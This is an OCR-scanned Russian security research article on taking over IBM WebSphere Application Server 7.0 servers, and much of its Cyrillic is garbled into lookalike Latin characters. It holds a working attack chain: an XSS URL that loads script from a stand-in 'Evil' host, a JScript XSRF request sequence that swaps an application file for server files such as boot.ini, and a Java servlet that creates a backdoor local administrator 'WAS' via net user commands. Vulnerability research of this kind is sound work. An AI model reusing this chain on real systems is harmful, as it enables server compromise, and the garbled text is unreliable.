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BeegeHue

[aHHOe wuccnefoBaHMEe OTKPbIBAET ceputo NybanKauuii, OMNUCbIBAKOWMX Pa3INYHbIE
cnocobbl NosyyYyeHMs AOCTyMa K OMepaLMOHHON cUCTeMe cepBepa, MCNO/b3ys YA3BUMMOCTU

NonynsapHbIX BU3HEC NPUNOKEHMI, KOTOPbIE YACTO BCTPEYAIOTCA B KOPMNOPATUBHOW cpese.

B aToli cTaTbe onucbiBatoTCA cnocobbl nonyvyeHmAa A0Ctyna K OI'IepaLI'MOHHOl\/i cncreme

cepBepa yepes ya3BUMOCTU cepBepa npunoxkeHui IBM Websphere.



OnucaHue Websphere Application Server

CepBep npunoxkeHnn Websphere Application Server (WAS) npeacTtaBnsetr coboi
MaclwTabupyemyto cpegy MHTErpauumn u ynpasaeHUA NPUNOKEHUAMU U CNyK6amMM Ha OCHOBe
CEepPBUC-OPUEHTUPOBAHHOM apxuTekTypbl (SOA). WAS paspaboTaH Ha OCHOBE OTKPbITbIX
CTaHZApTOB, Takmx Kak J2EE, XML n Web Services un ucnonbsyetca Kak nnatdopma ans
NOCTPOEHMA KOPNOPATUBHLIX MNOPTanOB, a 3HAYUT, MOXKET CcTaTb LUeNbio MNPUCTanbHOIo

BHMUMaHWNA ONA 3/10yMblLlWINEeHHWUKa.

ApmuHuctpupoBaHne WAS ocyuwiecTBaseTca Yepes CrneuManbHblit  Beb-uHTepdelic

Integrated Solution Console (ISC).

A Integrated Solutions Console - Microsoft Internet Explorer |’._||’E|E|
tafin  Opagka Bua  MsOpaHHoe  CepeMc Chpaeka .1'

Aapec: |ﬂ:| https: /i TestServer: 3044 fibmfconsale/login, do?action=secure

Integrated Solutions Console Welcome admin Help | Logout
Wiew: |A|I tashs Welcorne
Walcame Welcarne

Guided Activities

E—— Integrated Solutions Integrated Solutions Consaole, -
Console provides a ?'I:_"D'D

Applications carMen Bu!ld Murmber: r0235.03
adrminizkrative Build Date: 8/31/08

Servi console for multiple  (TTTTTTomTmmmem TR A A A AT

Ervices Producis, The table LICENSED MATERIALS PROPERTY

Resources lists the product OF IBM -
cuites that can be 5724-108, 5724-163, 5724-Ha8,

Sacutity administered through

: thiz installation.

Enviranment Select a product suite
to view more

Swstem administration inforrmation.

Usars and Groups

Manitaring and Tuning Suite Name Version

. webSph 7000

Troubleshooting A = Iin:atigrne

Seruwice integration Seruer

U1

< %

?EJFDTDBD é “-_JMECTHaﬂ HHTPaCETE

KoHconb admuHucmpuposaHus I1SC

MoaknioyeHne K ISC MmoxKeT ocylecTBAATbLCA MO ABYM npoTokonam: HTTP (mopt no
ymon4yaHuio: 9060) n SSL (nopt no ymonyanuio: 9043). OaHaKoO B CTaHAAPTHOM HACTpOMKe
WAS 7.0 nogkntoveHne K ISC ocyuwectBnsetca ToAbKO no npotokony SSL, a ¢ nopta 9060

YCTaHOB/AEHO nepeHanpasaeHue Ha nopt 9043.



Bmecte ¢ WAS moxeT OblTb YyCTaHOBNAEHa ranepeAa MNPUMEPOB pPeanmsyowmx

B3aMMOZAENCTBME C Pa3/IMUHbIMUK CNyKbaMu B cpese cepBepa NPUIONKEHUN.

2l [anepes npHme poE ce peepa npuioxe HHi IBM WebSphere - Microsoft Internet Explorer g@@
Iy
]

dain  Opaeka Bua  MsOpanHoe Cepewc  Cnpabka
Aapec; @j http: i TestServer 9081 ' Ssamples/rufinde:x. html
WebSphere Application Server  anepes npumepog
Bepcua 7
~
MpHEETCTEHE :
CORHOEHTE @ Anﬁlpﬂ- noXanoeRarth!
YCTEHOENEHHEIS
NpHMEpE]
lononHuTENL Hule Fanepea NPMMEQOE EKNKMEET FYHKLMOHaNEHEE NPHMEPE KO4E, paEnTammME E
cpeAs CEpESRE NPHMAMKEHWHA, © NPMMERaEMK MO¥HD EEINOAHATE CNeAyKWMe 4eHCTEMA!
MpHMEpE
BbINONHEHWE NpUMEpA
® HarnaaHo YEWAeTe NpHeMel TexHonorkd J2EE 1 WebSphere,
* BrinonHMTE AeMOHITPAULKHMOHHEIZ OparpamMmMel HAM MHTErpHpPOEaSHHOS
npunoxede Plants by webSphere,
¥3HaTb, Kak paspabatbiEanca npumep
® [poHHTaTE TEXHMHECKYH MHPOPHaWLKMKE, OTHOCAWYKCA K pacnonomeHMK
MCXOAHOMD KOA3, W AOMNOAHWTEAEHEIS CERASHHMA O COZAIHMKM NpMMepa,
® MMpoqmTaTe AokymedT Javaloc [cozaaeTod M2 KOMMEHTaIpHMEE K ANpMMepy ],
2N OH 2CTE.,
CHOMNOHOEATE WAKW W3MEHWTE NPHMEp ANA CEOErD NpOeKTa
* BrinonHMTE ASAHYHK KOMAOHOEKY OpPHMMEpRa,
* MzMeHMTE MCX0AHEIR KO NPHASHKEHWA, NEpeKaMAOHYHTE 2o W YCTaHOEMTE
nporpamMmel & gopre daidna EAR,
® OZHAKOMWTECA C HHCTPYKLMAMMK Mo NPHMeHeHHK Ant [OTKPEITEIR MHCTPYMEHT
KEOMOOHOERKHK, BK.I'IIOHEHHbIH E I'IPHMprIJ. DZHAKOMMTECA C HMHCTPYHEULHMAMKM Ha
cTpaHKue "KoMAoHOEKS C noMowel Ant", "
< >
iEjFDTDBD "-3 MECTHaA HHTPaCETE

lanepea npumepos WAS

Mo ymonyaHuio, ranepea n Bce npmmepsl yctaHoBnaeHbl Ha nopTy 9080. Ecnn oH 3aHAT,
NCNONb3yeTcA CAeAyIoLWMA NOPT.

Mocne vycraHoBkM WAS pgoctyneH Tonbko oauH npumep WebSphere Plants,
npeactasaAwWmMn  coboit  uHTeppenc  UHTepHeT-marasmHa.  OcTasbHble  Mpumepbl

YCTaHaBANBAKOTCA OTAE/IbHO Yepe3 KOMaHAHYHK CTPOKY Ha CaMOM cepBepe.



KoHconb agpmuHuctpmuposaHua ISC

Joctyn K ISC ocywectenaeTca nocpeactsom Beoga ID nonb3oBatena v Nnapons, Kotopble
yKasblBatoTca nNpu yctaHoBke WAS 1 He MMeIOT 3HavyeHMA No YMONYaHuio. [laHHble O TeKyLen
ceccumn xpaHatca B cookie 6paysepa M, KaK MOKasanuM HalM MCCNeAO0BaHWUA, CECCUA He
npueaAsaHa K IP-agpecy KomnbtoTepa.

ISC, nOMMMO agMUHUCTPUPOBAHNA CepBEPOB, NO3BOIAET YNPABAATb NOb30BATENIAMU U
HacTpoiKamu 6e3onacHocTn. Ho Hanbonblwnin MHTEepeC NpeacTaBaseT nHTepdeinc ynpasaeHns
NPUNOXKEHUAMMW, MNO3BONAIOWMIN 3arpy’KaTb HOBblE MNPUNOXKEHUA, @ TaKKe M3MEHATb YXKe
YCTaHOBNEHHbIE.

Takum 06pa3om, Npu HaANuMM YyA3BMMOCTM, MO3BOAAKOWEN NOAYy4MTb Aoctyn K ISC,
MOXHO B JanbHehwem MNOoNyYuTb AOCTYN M K ONepaunmoHHOM cucteme cepsepa. M Takas

YA3BMMOCTb CyLLECTBYET.



XSS B ISC 1 ytO M3 3TOrO NoNy4aerca

B ISC Hamu 6bina obHapy)KeHa yA3BMMOCTb Knacca Cross-site scripting (XSS),
NO3BONAIOLWAA BbINONHUTL MNPOU3BO/IbHBIN KOZ CUEHApMA B KOHTEKCTe MNO/b30BaTeNs

nocpeacTBOM CneuuanbHo cHOpPMMPOBAHHOM CCbINKM (CcM. OTYeT 06 ysa3BumMocTax B IBM

Websphere Application Server).

‘2 Error 404 - Microsoft Internet Explorer

Marin  MNpaeka Buwa  MsOpanHoe  Cepedc  Cnpagka ﬂ.

Aapec: |@ https: /i TestServer: 044 /fibmfconsale) <script =alerk{'DSecRiz_X35" < /script = V| Mepexog

ErrordO0d

An oerror oceurred while processing requesty/ibmfconsoles

Microsoft Internet Explorer |X|

] ": DSecRG_¥S5
[ ]

@ E] =] ‘ﬂ MECTHEA HHTPACETE

XSS 8 URL KoHconu admuHucmpuposaHus ISC

CnepnyeT cpa3y oTMeTUTb, YTo Kog, B URL CTpoKe He MOKEeT coaeprKaTtb npobensl. A ana
BbINOJIHEHUA CNOMKHbIX CLEHApPUEB, KOZ CLEHapusa Nydlle 3arpy»KaTb C yAa/NIeHHOro cepsepa.

COOTBETCTBEHHO, CCbI/IKA NPUMET C/IeAYOWNA BUA,:
https://[server]:9043/ibm/console/<script/src=http.//Evil/xss.js></script>
ana HTTPS npoTtoKona u
http://[server]:9060/ibm/console/<script/src=http://Evil/xss.js></script>

ana HTTP npoTokona.


http://dsecrg.ru/pages/vul/show.php?id=113
http://dsecrg.ru/pages/vul/show.php?id=113

Kak y»ke 6b1710 CKa3aHO, TEKYLLAA CECCUA NONb30BaTENA HUKAK He NpuBA3aHa K IP-aapecy
KomnbtoTepa. Takum obpasom, nonyyeHume cookie agmmHUCTpaToOpa ABNAETCA NEPBOOYEPEAHOM
uenbto. ToNbKO genatb 3TO Ayylwe no npotokony HTTP, nHaye nepes BbinonHeHMEM CUEHApUA

aAMUHUCTPATOP MOAYYUT NpeaynpeskaeHue o TOM, YTO CTPaHULA COAEpPXUT HebesonacHble

31eMEHTDI.
A Error 404 - Microsoft Internet Explorer E|E|E|
Maiin  Mpaeka Bua  M3BpaHHoe  CepeMc Cnpagka ﬂ,
Aapec: |@ htkps: [ TestServer 1 9044 jibmjconsole) <scriptfsrc=http: [ Evilfxss, js = < fscript = V| Mepexon
Errord0d

Aan error occurred while proceszing requestyfibmfconzalef

Cpe e HHA CHCTE MBI Dez0NacHOCTH

7 3Ta CcTPaHMLA COQeKMT KaK Be30nacHbe, Tak W
?. HEfE30NacHEIE 3 NEMEHTLI,

MNokasare HefeZoNacHeIE 3 NEMEHTEI?

[ Ha J[ Het ] [ MogpotHe:s

@ OTEPBITHE CTRaHHUE! https:)ftestserver: 0 C] é ‘ﬂ MecTHaA MHTpaceTE

MpedynpexdeHue cucmembl 6e3onacHocmu |E npu Uucnosb6308aHuUU NPomoKona SSL

Mocne nonyuyeHus cookie MX MOMKHO WMCMONb30BaTb A/A AOCTyNa K TEKyLEeh ceccuu
aAMUHUCTPaATOPa M KO BCeM BO3MOXKHOCTAM ISC.
Ho, NpeanonoXum, 4to TeKylana ceccus agMuUHUCTpaTopa 6bina 3akpbiTa, U NOAYYUTb

[0CTyN K KoHconun ISC He yaanock. [TocMoTpmm, Kakue elle yA3BMMOCTHM cyuecTytoT B WAS.



XSRF 1 ero BO3MOXHOCTU

ISC noagep»keHa ewe 0AHON PacnpPoOCTPaHEHHOM yA3BMMOCTM Knacca Cross-site request
forgery (XSRF), 3akntoyatoweica B OTCYTCTBMW NPOBEPKM WUCTOYHMKA HTTP-3anpoca. Yto
NO3BONAET BbINONAHATL NPOU3BO/IbHbIE AENCTBMA OT MMEHU aJMUHUCTPATOPa, eCAu OH 3angeT
Ha Haly CTPaHULY CO CcUeHapuem, OTNPaBAAKWMM crneumanbHo chopmmnpoBaHHble HTTP-

3anpocbl Ha cepsep. NOCMOTPUM, Kakne BO3MOMKHOCTU TeMepb OTKPbIBAKOTCA nepes HaMu.

YmeHue npou3eonbHo20 ¢haiina Ha cepsepe

UHTepdelc ynpaBaeHMA MPUNOKEHUAMM NPU  CO34AHUN WAN  U3MEHEHUU YIKe
YCTAHOBNEHHOIrO MNPUAOXKEHMA, NO3BOAAET 3arpy)aTb @akibl He TONbKO C JIOKA/JIbHOro
KOMMblOTEPA, HO W C YyAANEHHOro cepsepa, Ha KoTopom yctaHosneH WAS. [na 3toro
ncnonb3yeTca cneumanbHbli 6paysep, NO3BOAAKOWMI NPocMaTpuBaTh GaliNoByO cUCTEMY Ha

cepsepe WAS.

A Integrated Solutions Console - Microsoft Internet Explorer |Z||E|

%]
."f

daiin  Opaeka Bua MsOpanHoe Cepedc  Cnpaeka

.ﬁ.ﬂpec:_| hktps: §iTestServer 3044 ibmfconsole/login, do?action=secure
|I'Itﬂgr'ﬂ.tﬂﬂ Solutions Console Welcome admin Help Logaout
. A
View: |A” tasks — | Enterprise Applications Close page

Welcome
Browse Remote Filesystems -

Guided Activities

Sarvars Select the radio button next to the archive that you wish to
inztall, or click on a directory name to view its contents,
E applications

Mew Application Contents of pentestModeD2
E application Types [E]l parentDir
WebSphere enterprize applications
Business-level applications B cn
Azzats
08 Ex

Services OK| | Cancel

Resources

Security

Environment

System administration
Uzers and Groups
Maonitoring and Tuning

Troubleshooting

| £

£
@ =] ‘:J MECTHEA MHTPACETE

®alinosas cucmema cepsepa WAS




B 6pay3epe He BUAHbI CKpbITble ¢alnibl, HO, 3HAA MOJIHbIA NYyTb, MOXHO 3arpy3uTb
noboit pann.

YpobHee Bcero pgenatb  u3MeHeHuss B npunoxenmm  DefaultApplication,
YCTaHaBAMBAEMOM MO YMOIMAHUIO U AOCTYNHOM Ha nopty 9080. [lna 3TOro HyKHo Bbl6paTb

06HOBNEHWNE MPUNOKEHNA.

2 https://testserver: 9044 fibm/console/navigatorCmd. do?forwardiame=ApplicationDeploy...

Mavin  Opaeka Buwa  MsfpanHoe Cepedc  Cnpagka

F'-.ﬂF'EC:_| https: /i TestServer: 044 fibmfconsole/navigatarZmd, do?forwardiame=ApplicationDeplovment . conkent V| Mepexog
Cell=pentestModenz Cell, Profile=AppSrv0l Close page |:|

Enterprise Applications

Enterprise Applications
Use this page to manage installed applications, A single application can be deployed onte rmultiple servers,

Preferancas

Star‘t| Stu:-pl Install Uninstall | Updata I Rollout Update | Remaove File | Expart | Export DDL E
bk | [
e
Select Mame & |App|icatic\n Status g
“ou can adrminister the following resourcas:
Cefaultfspplication 23
D JaxWSServicesSamples =
F] PlantsBywebSphere 23
D SarmplesGallery 23
F] ivkapp 53
| uer s
Total &

| ) 5

@ =] ‘ﬂ MECTHSA HHTPACETE

CrucoK ycmaHo8s1eHHbIX NpuaoxeHul

A 3aTem BOCMNO/1b30BaTbCsA MHTEPDENCOM 3ameHbl Uan AobaBneHMa oguHovHoro daina.

OTO NO3BOAUT He Aenatb JONO/NHUTENIbHbIE HaCTpOVIKM NPUNOKEHNA.

10



Ecnn npocTo 3arpy3nTb dann B Nanky NpUNOXKeHUA, OH He ByaeT AOCTyneH yAaneHHo,
NMO3TOMY HY}KHO 3aMEHATb OAUH U3 CYLLECTBYHOLWNIN palinos. Jlyywe BCero Aenatb U3MEHEHUA B
moayne HitCount, KoTopblit He Mcnonb3yeTcsa B bBM3Hec npouecce. 1A 3TOro MOXHO 3aMeHsTb

daiin HitCount.jsp, Haxoaawwminca B nanke DefaultWebApplication.war.

A https://testserver: 9044fibm/console/collectionButton. do - Microsoft Internet Explorer rL”E”E'
'lr

i

F'..ﬂpec:_| https: [ TestServer 19044 ibmfconsole/collectionButton, do V| Mepexon

new module replaces the existing module, It the path to the module does not exizt in the installed Iz'
application, the new module is added to the application,

Davin  Opaeka Bua  MsBpanHoe Cepemc  Cnpaeka

'E}' Feplace or add a =single file

If the path to the new file matches an existing path to a file in the installed application, the new file
replaces the existing file, If the path to the file does not exist in the installed application, the new fila

iz added to the application.
Specify the path beginning with the installed application archive file to the file to be replaced or added.

|DefauItWebApp|icati0n.l.-.lar"-,HitCnunt.jsp

Specify the path to the file.
{:} Local file system
Full path

@ Rermote file system

Full path

{:}' Replace, add, or delete multiple files

Use a compressed file formmat such as .zip or .gzip, The compressed file is unzipped into the installed
application directary, If the uploaded files axist in the application with the same paths and file names,
the uploaded files replace the existing files, If the uploaded files do not exist, the files are added to

the application, You can remove existing files from the installed application by specifying metadata in

the cormmpressed file,

Next| Cancel

| | []

é "-3 MECTHaA MHTRACETE

@ [oToBD

3ameHa codepxcumoeo ¢alina HitCount.jsp ¢atinom boot.ini

11



MNocne coxpaHeHWs U3MEeHeHUN B KOHdUrypauum cepsepa, dain byaetr AoCcTyneH Ha
nopty 9080 no aapecy: http://[server]:9080/hitcount

A http://testserver: 9081/hitcount - Microsoft Internet Expl... E|@|g|
Marin  [Opaéka Bua  WsOpanHoe  Cepec  CNpaBka ﬁf

Sapec; @ http: /i TestServer: 9081 fhitcount b Mepezos

[boot loader] timeout=30 default=multi{ 0 disle(Dirdisk{ Dp artition( 1)
VWINDOW'S [operating systerns | multi{disk{Drdisk (Mipartition( 1)
VW INDOW S="Microzoft Windows 2P Professional

ETT" fhoexecute=optin fastdetect

:EI [oToEo '-3 MECTHEA HHTPACETE

Codepxcumoe ¢paiina boot.ini

A Tenepb BONpPOC: KaK 3TO BCeE OTHOCUTCA K HalaeHHOM yazsumocTtu B ISC? Jeno B Tom,
yto XSRF no3BosAeT BbIMONHUTL BCE BbllIENEpPeYUCNEHHbIe AENCTBMA aBToOMaTMyecku. [na
3TOro 4,OCTAaTOYHO YTOObl AAMUHUCTPATOP OTKPbIN CTPAHULY, COAEPKALLYO HEOHXOAMMbIN KOA,

cueHapua. Takum obpa3om, MOXKHO NpoumTaTh Ntoboi $paiin Ha cepsepe.

Kogp, cueHapusa Ha Jscript byaeT BbirnaaeTb Tak:

var objHTTP = new ActiveXObject ('MSXML2.XMLHTTP') ;

ObJjHTTP.open ("GET","../../../../../navigatorCmd.do?forwardName=ApplicationDep
loyment.content.main&WSC=true", false);

objHTTP.send (null) ;
ObJHTTP.open ("POST","../../../../../collectionButton.do", false);
ObJHTTP.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded") ;

OobJHTTP.send ("button.update=Update&definitionName=ApplicationDeployment.colle
ction.buttons.panel&buttoncontextType=ApplicationDeployment&selectedObjectIds
=DefaultApplication.ear%2Fdeployments%$2FDefaultApplication");

objHTTP.open ("POST","../../../../../upload.do", false);

12



ObJjHTTP.setRequestHeader ("Content-Type", "application/x-www—-form-
urlencoded") ;

ObJjHTTP.send ("typeRadioButton=file&fileURI=DefaultWebApplication.war%5cHitCou
nt.jsp&fileRadioButton=fileserver&remoteFileFilepath=C:%5cboot.ini&nextAction
=Next") ;

ObjHTTP.open ("POST","../../../../../updateConf.do", false);
ObJHTTP.setRequestHeader ("Content-Type", "application/x-www-form-
urlencoded") ;

ObJjHTTP.send ("appmanagement.button.confirm.ok=0K") ;

OobjHTTP.open ("GET","../../../../../syncworkspace.do?saveaction=save&directsav

e=true", false);
ObJjHTTP.send (null) ;

window.location = "../../../../../login.do?action";

Mcnonb3ya XSS yA3BMMOCTb, 3TOT KOA MOXHO BHeAPUTb Ha CTpaHuuy cepsepa WAS,
K COAEPKAHUIO KOTOPOro Y agMUHUCTPaTopa byaeT 6onblue aosepua. JnA yHUBEPCAZbHOCTYU B
KOZe WUCNONb3YITCA OTHOCUTENbHbIE MYTWM B 3anpocax, NpuM 3TOM 06X0A4 OUPEKTOPUN HYIKEH,
4TObblI KOMMNEHCMPOBATbL KOIMYECTBO caewen ucnonbayemolx B URL B cTpoke XSS. 3ToT BapmnaHT
Koaa ana URL suaa: https://[server]:9043/ibm/console/<script/src=http://Evil/xss.js></script>

Tak¥e npu HanMCaHMW CUEHAPUA HYXHO YyyuTbiBaTb TO, 4TO cTpoka URL B WAS

YyBCTBUTE/IbHA K perncTpy byks.

3azpy3Ka ucnosnHAemo20 Koda Ha cepeep

MpunoxeHma B8 WAS HanucaHbl Ha Java, YTO NO3BOAAET BbINOAHUTL Nt0bble AelcTBUA
Ha cepBepe, ecn 3arpy3nTb CBOM UCMONHAEMbIN KOZA Kak npunoxeHune. OgHaKo caenatb 3TO
MOXHO, TO/IbKO MMeA HENOCPEACTBEHHbIM A0CTYN K MHTepdeicy ISC, Ho ecTb 1 Apyron cnocob.

B ranepee npumepoB cpeau npoyero, ecTb MNPUIONKEHWe, NOo3BoAAOWEee YyAANEHHO
3arpy*aTb ¢aiin Ha cepsep, Ucnosb3ya Beb-cnyKbbl JAX-WS. Mpumep MTOM aemoHcTpupyet
npumeHeHne SOAP Message Transmission Optimization Mechanism (MTOM) ana oTnpaBKku u
NONYy4YeHMA ABOMYHbIX hainnoB..

3TOT NpUMep He YCTaHaB/AMBAETCA MO YMOJMAHWUIO, OAHAKO HEe CTOUT MCKAKYaTb ero
Hannume B pabouyenn cpeae. MPoOBePUTb €ro Ha/MYME MOXKHO MO C/AeAYIOWEN CCbI/KE:
http://[server]:9080/wssamplemtom/demo

Mcnonb3ya 3TOT npuMmep MOXKHO 3arpy3uTb Ha cepBep ntoboi ¢aiin, KoTopbid byaert
COXpaHeH B nanke npodunAa  cepBepa  NPUAONKeHU. [lo  ymonyaHuto  3TO:
C:\Program Files\IBM\WebSphere\AppServer\profiles\AppSrv01\

Y3HaTb YCTAHOBOYHbIV NYTb U NyTb K NPpoduI0, MOXKHO, 06paTUBLUMCL K MOAYA0 Snoop
npunoxenua DefaultApplication. Moaynb ycTaHaBAMBAETCA MO YMOAYAHWUIO M AOCTYNeH no

aapecy: http://[server]:9080/snoop
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Mocne 3arpy3kn Ha cepsep, ¢ain HyKHO byaeT NOMecTUTb B ManKy OAHOro M3
NPWUNOXKEHWUIM, UCNO/b3YA BbILEONUCAHHbIM MmeToa nocpencTeom XSRF. OnATb *Ke, Ayylue Bcero
n3meHATb moaynb HitCount npunoxkeHns DefaultApplication.

[na atoro co3pgaetca Java ¢ain HitCount.java:

import java.io.*;

import java.util.*;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class HitCount extends HttpServlet ({

public void doGet (HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {

PrintWriter out = response.getWriter();

try {
Process proc;
proc = Runtime.getRuntime () .exec ("cmd.exe /c net user WAS
123gweASD /add") ;
proc = Runtime.getRuntime () .exec ("cmd.exe /c net localgroup
Administrators WAS /add");
proc = Runtime.getRuntime () .exec ("cmd.exe /c net localgroup
AnMyHMCTPAaTOPE WAS /add");
} catch (IOException e) {}

out.println ("<html>" +
"<head><title> Pwned </title></head>" +
"<body><h3>Pwned" +
"</body></html>") ;

out.close ()

B aTtom npumepe Ha cepsepe byaeT co3aaH nonb3osatens WAS, a 3atem aobasnieH B
rpynny N0oKanbHbIX aAMUHUCTPATOPOB. [NA YHUBEPCanbHOCTU, Npumep byaeT paboTaTb Kak Ha

aHTIMNCKON, TaK 1 Ha pycckol Bepcun Windows.
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3atem ¢aiin komnuampyetca B HitCount.class 1 3arpyaeTtca Ha cepBep NocCpeacTBOM
npumepa MTOM u3 ranepewn.

2 JAX-WS Web Services MTOM Sample - Microsoft Internet Explorer g@@
Paiin  Opaeka Bua  MsBpaHHoe CepeMc Cnpaeka f}'
Aapec: http: | TestServer 19081 fwssarmplemtomdema b a Mepexon

JAX-WS Web Services MTOM Sample

Message Options

Service Type: Dispatch »
Source Filename: D:\HitCount.class

Service URI: http:#localhost: 9081
exattiple: hittp B erriceH osthame: pott

SOAP: (Tze 30AP 1.2
[ Send Message ]
Connecting to... http:fflocalhost: 9081
Regquest:
Sending 'HitCount.class' wia MTOM SO0AP 1.1
Response:
Invoking Dispatch<0bhject> with a binary pavload
[MTOM Dispatch Response received — applicationfoctet-stream
iéj loToBo ‘_} MeCTHaA HHTPaceTE

3azpy3Ka ¢palina Ha cepsep nocpedcmeom npumepa MTOM

Tenepb HyXXHO 3amMeHWUTb CTaHZApTHbIM ¢ann HitCount.class, HaxopAwmMncA B nanke
DefaultWebApplication.war\WEB-INF\classes\, Ha 3arpy»KeHHbIi1 HaMW Ha cepBep.

3TO MOXHO cAenatb, UCNONb3yA MeToa YTeHMAa $panNoB Ha cepBepe Yepes yA3BUMOCTb
XSRF. B kKopge cueHapua Ha Jscript Hago M3MeEHUTb NyTUM K ¢alnam B COOTBETCTBUM C
pacrnonoXxeHnem 3arpy*KeHHoro Hamu daina n panna HitCount.class mogyna HitCount, a 3atem

3aCTaBUTb aMUHUCTPATOPA OTKPbITb CCbIZIKY HA CTPaHULY C HallLMM CUEeHapuem.
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Mocne TOro Kak agMWHUCTPATOP 3aMAeT MO CCbIIKe C HawWum cueHapuem u dain
HitCount.class byaeT nameHeH, ero MOXHO 3anycTuTb, obpatnswmcb K moaynto HitCount no
aapecy: http://[server]:9080/hitcount

M Ha cepBepe byaeT co3aaH N0KaNbHbIM aAMUHUCTPATOP.

~ Bwibpats HomaHaHaa cTpoka

AAMMHHUCTPaTOpE
ALMMHWCTPaTOpRE
ASMMHHUCTPATORE MMEKDT MOAHEIE,

HWHEW HEOrpaHMHYEHHBIE MNPasda A0CTY
L HOMOBKTERY MAM A0OMEH)Y

C:hvenet localgroup ALMMHMCTPATOpRE

HWA ncesloHMMa AAMHMHUCTPATOpE

K oOMMEHTapKIA AAMMHMCTPATOPE MWMEDT MOAHBIE,
na K KOMOBKTERY WAW JLOMEHY

HWHEW HEOrpaHMHYEHHBIE MNPasda A0CTY

Ha cepsep 6bi1 dobassneH nosns3osamens WAS ¢ npasamu n0KanbHO20 aOMUHUCMpPamopa

CneayeTt OTMETUTb, YTO MO YMONYaHUIO ciyba WAS 3anyckaeTca OT MMEHM CUCTEMHOWM

y4yeTHoM 3anmcm SYSTEM. Taknum obpasom, 6yaeT nonyvyeH NoAHbIN agMUHUCTPATUBHbIN 40CTYN
K cepBepy, Ha KOTOpom yctaHoseH WAS.
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3aKknyeHue

YazBumocTtn KnaccoB XSS n XSRF aBasoTcA BecbMa pacnpoCTPaHeHHbIMM cpeaun Beb-
NPUNOXKEHUI U MOTYT NPeACTaBAATb cepbe3Hyto Npobaemy ana 6e3onacHOCTM BCEro cepsepa.

PaccmoTpeB HalaeHHble yassumoctn B IBM Websphere Application Server, 6bino
HarnA4HO MNOKa3aHO, KaK MOMHO MX WMCNOAb30BaTb AN MNOJYYEeHUA ALMUHUCTPATUBHOIO

[0CTyna He TONIbKO K CepBepy NPUIOKEHUIN, HO U K CaMOol ONepaLMoHHON cucTeme.
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[JononHutenbHble maTtepuanol

1. OTyeT 06 yasBumocTsx B IBM Websphere Application Server
http://dsecrg.ru/pages/vul/show.php?id=113

2. Cratba «Hacking a Websphere Application Server»

http://www.giac.org/certified professionals/practicals/gcih/681.php

3. CtaTtbs no XSRF
http://www.securitylab.ru/analytics/292473.php
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